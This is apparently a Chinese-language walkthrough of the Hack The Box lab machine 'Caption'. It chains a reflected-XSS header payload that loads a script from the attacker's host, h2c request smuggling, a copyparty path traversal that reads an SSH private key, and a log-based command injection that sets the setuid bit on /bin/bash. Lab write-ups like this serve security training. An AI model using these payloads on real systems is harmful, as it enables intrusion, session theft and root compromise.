Caption(HTB Hard)
基本信息
- IP:
10.10.11.33 - VPN:
10.10.16.4 - 域名:
caption.htb
信息收集
vim /etc/hosts
10.10.11.33 caption.htb
nmap -sT --min-rate 10000 -p- 10.10.11.33 --unprivileged
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
nmap -sT -sV -sC -O -p 22,80,8080 10.10.11.33
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http-proxy HAProxy http proxy 2.0.0 or later
|_http-title: Caption Portal Login
|_http-server-header: Werkzeug/3.0.1 Python/3.10.12
8080/tcp open http Jetty
|_http-title: GitBucket
80 是登录页,8080 是 GitBucket。
User
登录页弱口令爆破失败。GitBucket 有两个提交:首页相关仓库和日志服务器。审计 server.go,第 42、43 行有 bash 调用。相关框架:掘金笔记。
在第一个提交的第二个分支找到 margo 密码 vFr&cS2#0!,登录成功。登录后 /downloads、/firewalls 都带 X-Forwarded-Host,可做反射 XSS。
python3 -m http.server 8000
构造请求:
GET /firewalls HTTP/1.1
Host: caption.htb
X-Forwarded-Host: 127.0.0.1"> </script> <script src="http://10.10.16.4:8000/test.js"></script> <!--
Cookie: JSESSIONID=node01d6pa7jxlyafk1jndh3n5hv1f138.node0; session=<margo_jwt>
Connection: close
服务器日志出现 404。代理 ACL 挡了 /logs 和 /download,需要 h2c smuggling 绕过。参考:Bishop Fox H2C Smuggling。
python h2csmuggler.py -x http://caption.htb http://caption.htb/logs -H 'Cookie: JSESSIONID=...; session=<margo_jwt>'
HAProxy ACL 挡住 /logs、/download。h2c smuggling(HTTP/2 cleartext 升级)可以在代理之后把请求打到后端 Flask。反射 XSS 打在 X-Forwarded-Host / utm_source 一类缓存键上,管理员周期性访问被缓存页面后可偷到 admin session。拿到 admin cookie 后再走 h2c:
python h2csmuggler.py -x http://caption.htb http://caption.htb/logs -H 'Cookie: session=<admin_jwt>'
python h2csmuggler.py -x http://caption.htb 'http://caption.htb/download?url=http://127.0.0.1:3923/' -H 'Cookie: session=<admin_jwt>'
/download 把内网 copyparty(3923)当文件服务。copyparty 存在路径穿越 CVE-2023-37474,.cpr/ 可读任意文件:
python h2csmuggler.py -x http://caption.htb \
'http://caption.htb/download?url=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F.ssh%252Fid_ecdsa' \
-H 'Cookie: session=<admin_jwt>'
私钥存成本地文件后 SSH:
chmod 600 id_ecdsa
ssh -i id_ecdsa [email protected]
user.txt 在 /home/margo。
Root
GitBucket 里的 Logservice(server.go)用 Apache Thrift 提供 ReadLogFile,以 root 跑在 9090。解析 User-Agent 时存在命令注入。
ssh -i id_ecdsa -L 9090:127.0.0.1:9090 [email protected] -N -f
echo '127.0.0.1 "user-agent":"'"'"'; chmod +s /bin/bash #' > /tmp/malicious.log
用 log_service.thrift 生成 Python 客户端,调用 ReadLogFile("/tmp/malicious.log")。成功后:
ls -l /bin/bash
/bin/bash -p
至此拿到 root。